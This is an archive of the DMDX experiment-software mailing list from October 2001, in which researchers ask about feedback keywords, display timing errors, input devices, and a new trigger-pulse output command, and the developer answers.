Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > >From DMDX-owner@psy1.psych.arizona.edu Mon Oct 22 09:28:13 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA07391 for ; Mon, 22 Oct 2001 09:27:57 -0700 Received: (qmail 29358 invoked from network); 22 Oct 2001 16:27:41 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 22 Oct 2001 16:27:41 -0000 Message-Id: <5.1.0.14.2.20011022091200.009e6740@psy1.psych.arizona.edu> Date: Mon, 22 Oct 2001 09:28:11 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Two feedback messages (with branching) In-Reply-To: <003201c15ae1$c85a7f40$312815ac@psycho.univparis5.fr> References: <5.1.0.14.2.20011019095750.009e77c0@psy1.psych.arizona.edu> <5.1.0.14.2.20011020152916.009e88b0@psy1.psych.arizona.edu> <5.1.0.14.2.20011021151211.009df0b0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:10 PM 10/22/01 +0200, you wrote: >I don't know if equation evaluator means variables and ""if"" structures. You have variables and if structures already. They're called counters and branches. The equation evaluator will give the ability to set one counter equal to the sum or dividend or whatever of other counters. >But if not, variables could be an easy way to implement it, don't you think? >I think that it would make dmdx very flexible. (and the scripts could be >clearer) Flexibility is a double edged sword. I could add dozens of marvelous things to DMDX just for the hell of it. What you would get would be a far less stable program. Just imagine if the thing crashed for no reason every now and then, how many people would use it? You might argue that it crashes now, however that is always when there is a malformed item, the instability I talk about would start to occur randomly with perfectly good item files. So I carefully weigh every component that gets added to DMDX and the equation evaluator is something I thought about adding before when adding counters in the first place, however at the time it added nothing that I needed and it certainly introduces vast scope for instability. At this time it adds a feature that I will need to give DMDX the ability to handle a new paradigm (for it anyway) here, a baby attention study where looking times are needed instead of RTs and complicated branches are needed based on those looking times. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Mon Oct 22 16:03:15 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA08309 for ; Mon, 22 Oct 2001 16:02:36 -0700 Received: by deimos.email.Arizona.EDU (5.1.056) id 3BC7BE0B000E6D82 for DMDX@psy1.psych.arizona.edu; Mon, 22 Oct 2001 16:02:34 -0700 Message-ID: <3BC7BE0E0000CFC6@deimos.email.Arizona.EDU> Date: Mon, 22 Oct 2001 16:02:34 -0700 From: ""Keolani Taitano"" Subject: [DMDX] display error question To: ""DMDX listserv"" MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I am seeing a display error at msec 653186 stating that item 28 of my item file has 5 ms of refused video flips which delayed the previous frame's duration. However, 653186 msec, according to the COT output in the .azk file, occurred in item 29, not item 28. Also, when I look at the difference in COTs between item lines there is a large discrepancy for items 26 and 27 from what they should be, but not for item 28. Could someone please explain why these error messages and COTs appear to be discrepant and which best indicates the true site of increased time lag? Thanks, Keo Keolani Taitano, Ph.D. Postdoctoral Research Fellow Department of Psychology The University of Arizona voice: 520-626-5401 >From DMDX-owner@psy1.psych.arizona.edu Mon Oct 22 18:50:21 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id SAA08687 for ; Mon, 22 Oct 2001 18:50:12 -0700 Received: (qmail 8263 invoked from network); 23 Oct 2001 01:50:08 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 23 Oct 2001 01:50:08 -0000 Message-Id: <5.1.0.14.2.20011022185026.009f4c30@psy1.psych.arizona.edu> Date: Mon, 22 Oct 2001 18:50:37 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: display error question In-Reply-To: <3BC7BE0E0000CFC6@deimos.email.Arizona.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:02 PM 10/22/01 -0700, you wrote: >I am seeing a display error at msec 653186 stating that item 28 of my item >file has 5 ms of refused video flips which delayed the previous frame's >duration. However, 653186 msec, according to the COT output in the .azk >file, occurred in item 29, not item 28. Also, when I look at the difference >in COTs between item lines there is a large discrepancy for items 26 and >27 from what they should be, but not for item 28. Could someone please explain >why these error messages and COTs appear to be discrepant and which best >indicates the true site of increased time lag? Without seeing the data, no. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Mon Oct 22 21:12:32 2001 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id VAA09054 for ; Mon, 22 Oct 2001 21:12:17 -0700 Received: from marcsmatlab ([137.154.107.107]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.2) with SMTP id f9N4CEv15161 for ; Tue, 23 Oct 2001 14:12:14 +1000 (EST) Message-ID: <003a01c15b7a$29e51020$6b6b9a89@uws.edu.au> From: ""Helen Tam"" To: Subject: [DMDX] Question on feedback Date: Tue, 23 Oct 2001 14:21:18 +1000 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0037_01C15BCD.FB6666A0"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_0037_01C15BCD.FB6666A0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi all, We've got a question re: feedback. Our experiment consists of 4 parts: = training 1, test 1, training 2, test 2. We want to give feedback = during the training phases, but not in the test phases. We tried putting = in all of our test item lines and no feedback keyword in our = training item lines (and we don't have any keywords pertaining to = feedback in the parameter line). The problem we're having is that in the = first training and test phases, everything's fine. That is, the = participant gets feedback in training 1 and no feedback in testing 1. = However, when the participant gets to training 2, there is no feedback. = Why??? What can we do to ensure feedback comes back on in training 2? Please help. Caroline Jones Helen Tam ------=_NextPart_000_0037_01C15BCD.FB6666A0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi all, We've got a question re: feedback. Our = experiment=20 consists of 4 parts: training 1, test 1, training 2, test 2.  We = want to=20 give feedback during the training phases, but not in the test phases. We = tried=20 putting in all of our test item lines and no = feedback keyword=20 in our training item lines (and we don't have any keywords pertaining to = feedback in the parameter line). The problem we're having is that in the = first=20 training and test phases, everything's fine. That is, the participant = gets=20 feedback in training 1 and no feedback in testing  1. However, when = the=20 participant gets to training 2, there is no feedback. Why??? What can we = do to=20 ensure feedback comes back on in training 2? Please help. Caroline Jones Helen Tam ------=_NextPart_000_0037_01C15BCD.FB6666A0-- >From DMDX-owner@psy1.psych.arizona.edu Tue Oct 23 09:36:37 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA10567 for ; Tue, 23 Oct 2001 09:36:21 -0700 Received: (qmail 20093 invoked from network); 23 Oct 2001 16:36:17 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 23 Oct 2001 16:36:17 -0000 Message-Id: <5.1.0.14.2.20011023093114.009e28a0@psy1.psych.arizona.edu> Date: Tue, 23 Oct 2001 09:36:40 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Question on feedback In-Reply-To: <003a01c15b7a$29e51020$6b6b9a89@uws.edu.au> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:21 PM 10/23/01 +1000, you wrote: >Hi all, >We've got a question re: feedback. Our experiment consists of 4 parts: >training 1, test 1, training 2, test 2. We want to give feedback during >the training phases, but not in the test phases. We tried putting in >all of our test item lines and no feedback keyword in our training item >lines (and we don't have any keywords pertaining to feedback in the >parameter line). The problem we're having is that in the first training >and test phases, everything's fine. That is, the participant gets feedback >in training 1 and no feedback in testing 1. However, when the participant >gets to training 2, there is no feedback. Why??? What can we do to ensure >feedback comes back on in training 2? Use the keyword correctly. by itself throws the flag on that turns feedback off. Using it once affects every item following it. If you want to turn feedback back on you will have to turn the no feedback flag off with -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Tue Oct 23 11:09:52 2001 Received: from hotmail.com (oe33.law11.hotmail.com [64.4.16.90]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA10811 for ; Tue, 23 Oct 2001 11:09:43 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 23 Oct 2001 11:09:11 -0700 From: ""nabil saba"" To: ""DMDX"" Subject: [DMDX] PIO12 Date: Thu, 23 Aug 2001 11:00:50 -0700 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_001_0000_01C12BC2.DF1AA640"" Message-ID: Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list ------=_NextPart_001_0000_01C12BC2.DF1AA640 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi Sir, I'm a new user to DMDX. I noticed that DMDX accepts inputs from keyboard,= mouse and Joystick. For my experiment, i need to get a feedback from the= patient inside the scanner. To do that, i will be using a separate Keypa= d that could be connected to USB, serial ports. Is there a way to do that= ...Does DMDX recognize other ports... If not, Where could i get the PIO12. I need to get 2 feedback from the pa= tient. Positive and negative feedback..... Nabil Saba R&D Engineer University of California, Irvine Tel. (949) 824-9263 Fax. (949) 824-5552Get more from the Web. FREE MSN Explorer download : h= ttp://explorer.msn.com ------=_NextPart_001_0000_01C12BC2.DF1AA640 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi Sir, = I'm a new user to DMDX. I noticed that DMDX accepts inputs from keyb= oard, mouse and Joystick. For my experiment, i need to get a feedback fro= m the patient inside the scanner. To do that, i will be using a separate = Keypad that could be connected to USB, serial ports. Is there a way to do= that...Does DMDX recognize other ports...   I= f not, Where could i get the PIO12. I need to get 2 feedback from the pat= ient. Positive and negative feedback.....Nabil SabaR&D En= gineerUniversity of California, IrvineTel. (949) 824-9263Fax.= (949) 824-5552Get more from the = Web. FREE MSN Explorer download : ht= tp://explorer.msn.com ------=_NextPart_001_0000_01C12BC2.DF1AA640-- >From DMDX-owner@psy1.psych.arizona.edu Tue Oct 23 12:16:19 2001 Received: from mail5.doit.wisc.edu (mail5.doit.wisc.edu [144.92.9.76]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA10983 for ; Tue, 23 Oct 2001 12:16:06 -0700 Received: from [144.92.195.144] by mail5.doit.wisc.edu id OAA40962 (8.9.1/50); Tue, 23 Oct 2001 14:16:05 -0500 From: ""John J. Curtin"" To: Subject: [DMDX] change to output command Date: Tue, 23 Oct 2001 14:19:11 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit In-Reply-To: <5.1.0.14.2.20011017134459.009f2180@psy1.psych.arizona.edu> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Jonathan, I have a question about the function of the output command. Currently, there are a number of us using the output command to mark a data file being collected with software by neuroscan (NS)with trigger codes to indicate the onset of events (e.g., slide onset, noise probe onset, etc). The NS software requires that its trigger port be reset to 0 before it can detect a new trigger code. This leads to rather complicated multiframe items. For example, to mark the onset of a BMP file (code 32) and then the onset of a wav file (code 234) presented during it requires the following code: 302 o32 ""green"" <% 10>/ o0 ! <% 290>/o234 ""wnprobe"" /o0 ! <% 300>/; Each unique event has to be subdivided into two parts to allow for the output of the onset trigger followed by the output of 0 to reset the NS trigger port. Some of our more complicated design become almost unreadable given the number of frames required to handle marking different events within the trial. Here is my question. Is it possible to have a second output command (or modification of the current one) that sends a very brief output code (few ms) and then automatically resets to some hold value (e.g., 0)? If such a change would not reduce the stability of the code, I am more than willing to organize a few of us using similar systems to provide you with compensation for the change to the code. Thanks John -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of Jonathan C. Forster Sent: Wednesday, October 17, 2001 3:47 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Keyboard input ... PIO12 output ? At 07:26 PM 10/17/01 +0200, you wrote: >I will be using a PIO12 to output 8 bits of data (e.g., InputDevice >""PIO12""). > >If I use another device for response input, I have to declare that too >(e.g., InputDevice ""keyboard"") ... >Will both the Space bar of the KB and Bit 0 of the PIO12 be mapped as >""REQUEST"" ? Yep. If you don't want multiple keys you'll have to use the keywords and then map the ones you specifically want. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The reason it's called ""Grape Nuts"" is that it contains ""dextrose"", which is also sometimes called ""grape sugar"", and also because ""Grape Nuts"" is catchier, in terms of marketing, than ""A Cross Between Gerbil Food and Gravel"", which is what it tastes like. - Dave Barry, ""Tips for Writer's"" ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Tue Oct 23 14:23:11 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA11270 for ; Tue, 23 Oct 2001 14:22:56 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3BC7BE0B00103DD9 for DMDX@psy1.psych.arizona.edu; Tue, 23 Oct 2001 14:22:55 -0700 Message-Id: <5.1.0.14.2.20011023142159.00a159e0@psy1.psych.arizona.edu> Date: Tue, 23 Oct 2001 14:22:57 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: PIO12 In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:00 AM 8/23/01 -0700, you wrote: >Hi Sir, >I'm a new user to DMDX. I noticed that DMDX accepts inputs from keyboard, >mouse and Joystick. For my experiment, i need to get a feedback from the >patient inside the scanner. To do that, i will be using a separate Keypad >that could be connected to USB, serial ports. Is there a way to do >that...Does DMDX recognize other ports... Not unless they've got windows DirectX drivers. > >If not, Where could i get the PIO12. I need to get 2 feedback from the >patient. Positive and negative feedback..... I believe there are sufficient details on my web pages. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""A raccoon tangled with a 23,000 volt line today. The results blacked out 1400 homes and, of course, one raccoon."" - Steel City News >From DMDX-owner@psy1.psych.arizona.edu Tue Oct 23 14:34:18 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA11331 for ; Tue, 23 Oct 2001 14:34:12 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3BC7BE0B00104454 for DMDX@psy1.psych.arizona.edu; Tue, 23 Oct 2001 14:34:10 -0700 Message-Id: <5.1.0.14.2.20011023142349.00a1bca0@psy1.psych.arizona.edu> Date: Tue, 23 Oct 2001 14:34:12 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: change to output command In-Reply-To: References: <5.1.0.14.2.20011017134459.009f2180@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:19 PM 10/23/01 -0500, you wrote: >Here is my question. Is it possible to have a second output command (or >modification of the current one) that sends a very brief output code (few >ms) and then automatically resets to some hold value (e.g., 0)? Yep. Depends how much hold time you want though, if you just want a spike a microsecond in duration that's easy. A millisecond's hold time (or more) is more complicated and probably what you need but it's also perfectly doable. > If such a >change would not reduce the stability of the code, Shouldn't compromise the stability as it uses existing constructs in the code. > I am more than willing to >organize a few of us using similar systems to provide you with compensation >for the change to the code. Cool. What I really want around here is a digital camera with USB and a zoom so it can take closeups. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""A raccoon tangled with a 23,000 volt line today. The results blacked out 1400 homes and, of course, one raccoon."" - Steel City News >From DMDX-owner@psy1.psych.arizona.edu Tue Oct 23 14:48:34 2001 Received: from hotmail.com (oe59.law11.hotmail.com [64.4.16.194]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA11402 for ; Tue, 23 Oct 2001 14:48:27 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 23 Oct 2001 14:47:52 -0700 From: ""nabil saba"" To: ""DMDX"" Subject: [DMDX] PIO12 Date: Tue, 23 Oct 2001 14:39:07 -0700 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_001_0000_01C15BD0.78B77A20"" Message-ID: Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list ------=_NextPart_001_0000_01C15BD0.78B77A20 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable ----- Original Message ----- From: nabil saba Sent: Thursday, August 23, 2001 11:04 AM To: DMDX Subject: [DMDX] PIO12 Hi Sir, I'm a new user to DMDX. I noticed that DMDX accepts inputs from keyboard,= mouse and Joystick. For my experiment, i need to get a feedback from the= patient inside the scanner. To do that, i will be using a separate Keypa= d that could be connected to USB, serial ports. Is there a way to do that= ...Does DMDX recognize other ports... If not, Where could i get the PIO12. I need to get 2 feedback from the pa= tient. Positive and negative feedback..... Nabil Saba R&D Engineer University of California, Irvine Tel. (949) 824-9263 Fax. (949) 824-5552 Get more from the Web. FREE MSN Explorer download : http://explorer.msn.c= omGet more from the Web. FREE MSN Explorer download : http://explorer.ms= n.com ------=_NextPart_001_0000_01C15BD0.78B77A20 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable   <= DIV>  = ----- Original Message ----- From: nabil saba Sent: Thursday,= August 23, 2001 11:04 AM To: DMDX Subject: [DMDX] PIO12=   Hi Sir, I'm a new user to DMDX. = I noticed that DMDX accepts inputs from keyboard, mouse and Joystick. For= my experiment, i need to get a feedback from the patient inside the scan= ner. To do that, i will be using a separate Keypad that could be connecte= d to USB, serial ports. Is there a way to do that...Does DMDX recognize o= ther ports...   If not, Where could i get the = PIO12. I need to get 2 feedback from the patient. Positive and negative f= eedback.....Nabil SabaR&D EngineerUniversity of Calif= ornia, IrvineTel. (949) 824-9263Fax. (949) 824-5552 Get more from the Web. FREE MSN Explorer download : http://explorer.msn.com Get more from the Web. FREE M= SN Explorer download : http://explore= r.msn.com ------=_NextPart_001_0000_01C15BD0.78B77A20-- >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 24 02:12:04 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id CAA12723 for ; Wed, 24 Oct 2001 02:11:36 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id f9O9BVp32021 for ; Wed, 24 Oct 2001 11:11:31 +0200 From: ""Derek N. Eder"" To: ""DMDX"" Subject: [DMDX] RE: change to output Date: Wed, 24 Oct 2001 11:10:18 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I have the same situation that generated John Curtin's question: ""The NS software requires that its trigger port be reset to 0 before it can detect a new trigger code. This leads to rather complicated multiframe items. For example, ... 302 o32 ""green"" <% 10>/ o0 ! <% 290>/o234 ""wnprobe"" /o0 ! <% 300>/"" Perhaps thoughy, John doesn't realize that the output he sends to the PIO (e.g., O 32) must be reset in the PIO using an o0. This is because the PIO outputs are latched - they stay in the state that you set them in until you set them in another state. I also want to remind the uninitiated user that seting an output port bit to ""1"" actually means that it is put into an electrically low (~0 volts) state. Accordingly, if the device you are interfacing with expects a +5 volt (""TTL level"") trigger, you need to toggle that bit to ""0"". This is called 'active low' logic Perhaps a hypothetical new DMDX function, ""TRIGGER"", would generate trigger 'pulses' and allow the specification of either 'active high' or 'active low' outputs? For examples: or or or or The lowest trigger pulse width that you could use, given older semiconductor logic families is on the order of 20 nanoseconds. A couple of microseconds would seem like an eternity to ""those guys""! .. hypothetically speaking :) - Derek Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap - psykiatri Sahlgrenska universitetssjukhuset SS/SU Bl� straket 17b SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 26 139 Fax. +46 (031) 34 21 533 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Section for Psychiatry Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 24 07:13:24 2001 Received: from mail5.doit.wisc.edu (mail5.doit.wisc.edu [144.92.9.76]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id HAA13359 for ; Wed, 24 Oct 2001 07:13:11 -0700 Received: from [128.104.112.60] by mail5.doit.wisc.edu id JAA09516 (8.9.1/50); Wed, 24 Oct 2001 09:13:08 -0500 From: ""John J. Curtin"" To: Subject: [DMDX] RE: Re: change to output command Date: Wed, 24 Oct 2001 09:10:57 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit In-Reply-To: <5.1.0.14.2.20011023142349.00a1bca0@psy1.psych.arizona.edu> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Great to hear that you can easily (or at least can :-) implement the change. I will check with neuroscan about width of the trigger pulse but I am almost certain that it will need to be on the order of a millisecond or longer in order to be reliably detected. Most flexible would be code that provided parameters for output value, pulse length and return state when pulse complete. Derek's suggestion for active hi vs. low wouldn't affect our setups (our physio acquisition software allows us to set this at that end) but sounds like a nice addition for others if possible. Last time I compensated you for changes to the output command, you sent me some links to what you were interested in receiving. Can you do the same again? That way I can get a sense of cost and try to work it out with some of my colleagues who will benefit from these changes. Thanks again John -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of Jonathan C. Forster Sent: Tuesday, October 23, 2001 4:34 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: change to output command At 02:19 PM 10/23/01 -0500, you wrote: >Here is my question. Is it possible to have a second output command (or >modification of the current one) that sends a very brief output code (few >ms) and then automatically resets to some hold value (e.g., 0)? Yep. Depends how much hold time you want though, if you just want a spike a microsecond in duration that's easy. A millisecond's hold time (or more) is more complicated and probably what you need but it's also perfectly doable. > If such a >change would not reduce the stability of the code, Shouldn't compromise the stability as it uses existing constructs in the code. > I am more than willing to >organize a few of us using similar systems to provide you with compensation >for the change to the code. Cool. What I really want around here is a digital camera with USB and a zoom so it can take closeups. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""A raccoon tangled with a 23,000 volt line today. The results blacked out 1400 homes and, of course, one raccoon."" - Steel City News ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 24 09:32:33 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA13716 for ; Wed, 24 Oct 2001 09:32:19 -0700 Received: (qmail 14101 invoked from network); 24 Oct 2001 16:32:15 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 24 Oct 2001 16:32:15 -0000 Message-Id: <5.1.0.14.2.20011024092839.009f06d0@psy1.psych.arizona.edu> Date: Wed, 24 Oct 2001 09:32:49 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: RE: change to output In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:10 AM 10/24/01 +0200, you wrote: >I have the same situation that generated John Curtin's question: > >""The NS software requires that its trigger port be reset to 0 before it can >detect a new trigger code. This leads to rather complicated multiframe >items. >For example, ... 302 o32 ""green"" <% 10>/ o0 ! <% 290>/o234 >""wnprobe"" start> /o0 ! <% 300>/"" > >Perhaps thoughy, John doesn't realize that the output he sends to the PIO >(e.g., O 32) must be reset in the PIO using an o0. This is because the PIO >outputs are latched - they stay in the state that you set them in until you >set them in another state. > >I also want to remind the uninitiated user that seting an output port bit to >""1"" actually means that it is put into an electrically low (~0 volts) state. Wrong. 1 is +5v, it's positive logic and what you request output gets output. >Accordingly, if the device you are interfacing with expects a +5 volt (""TTL >level"") trigger, you need to toggle that bit to ""0"". This is called 'active >low' logic > >Perhaps a hypothetical new DMDX function, ""TRIGGER"", would generate trigger >'pulses' and allow the specification of either 'active high' or 'active low' >outputs? > >For examples: > > > or > > or > > > >actually they are already> > or > > or > >The lowest trigger pulse width that you could use, given older semiconductor >logic families is on the order of 20 nanoseconds. A couple of microseconds >would seem like an eternity to ""those guys""! > >.. hypothetically speaking :) Should the new keyword get implemented the rest state would be definable in the new thing as would the duration of the output. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 24 09:34:34 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA13729 for ; Wed, 24 Oct 2001 09:34:28 -0700 Received: (qmail 15652 invoked from network); 24 Oct 2001 16:34:24 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 24 Oct 2001 16:34:24 -0000 Message-Id: <5.1.0.14.2.20011024093316.009f0ae0@psy1.psych.arizona.edu> Date: Wed, 24 Oct 2001 09:34:56 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] RE: Re: change to output command In-Reply-To: References: <5.1.0.14.2.20011023142349.00a1bca0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:10 AM 10/24/01 -0500, you wrote: >Great to hear that you can easily (or at least can :-) implement the change. >I will check with neuroscan about width of the trigger pulse but I am almost >certain that it will need to be on the order of a millisecond or longer in >order to be reliably detected. Most flexible would be code that provided >parameters for output value, pulse length and return state when pulse >complete. Derek's suggestion for active hi vs. low wouldn't affect our >setups (our physio acquisition software allows us to set this at that end) >but sounds like a nice addition for others if possible. I'm not keen on doing it, his base assumptions aren't correct. >Last time I compensated you for changes to the output command, you sent me >some links to what you were interested in receiving. Can you do the same >again? That way I can get a sense of cost and try to work it out with some >of my colleagues who will benefit from these changes. Ok, I'll send the shortly off list. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 24 